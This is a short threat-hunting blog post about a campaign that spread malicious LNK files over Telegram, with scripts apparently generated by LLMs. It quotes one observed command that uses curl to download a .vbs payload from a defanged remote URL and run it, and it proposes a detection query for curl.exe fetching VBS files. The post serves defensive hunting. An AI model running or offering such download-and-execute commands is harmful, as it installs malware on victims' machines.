168. Adversaries Abuse LLM to Generate Malicious Scripts

Hello everyone!

I'm sure you already use LLMs to solve various security-related tasks. So do adversaries! For example, let's look at a campaign uncovered by Qianxin Threat Intelligence Center.

The threat actors used Telegram to distribute archives with malicious LNK-files. These files abused cURL to download a malicious .vbs file from a remote server, for example:

C:\Windows\System32\cmd.exe /c "curl -o C:\Users\Public\aa.vbs https://zl-web-images[.]oss-cn-shenzhen[.]aliyuncs[.]com/5C25D918A2314DA2AC8D3C704287E278.vbs && start C:\Users\Public\aa.vbs"

Here we have a nice hunting opportunity:

event_type: "processcreatewin"

AND

proc_file_name: "curl.exe"

AND

cmdline: "vbs"

So, if we look inside the .vbs file, we can see that it's very similar to those created with LLMs! That's it!

See you tomorrow!

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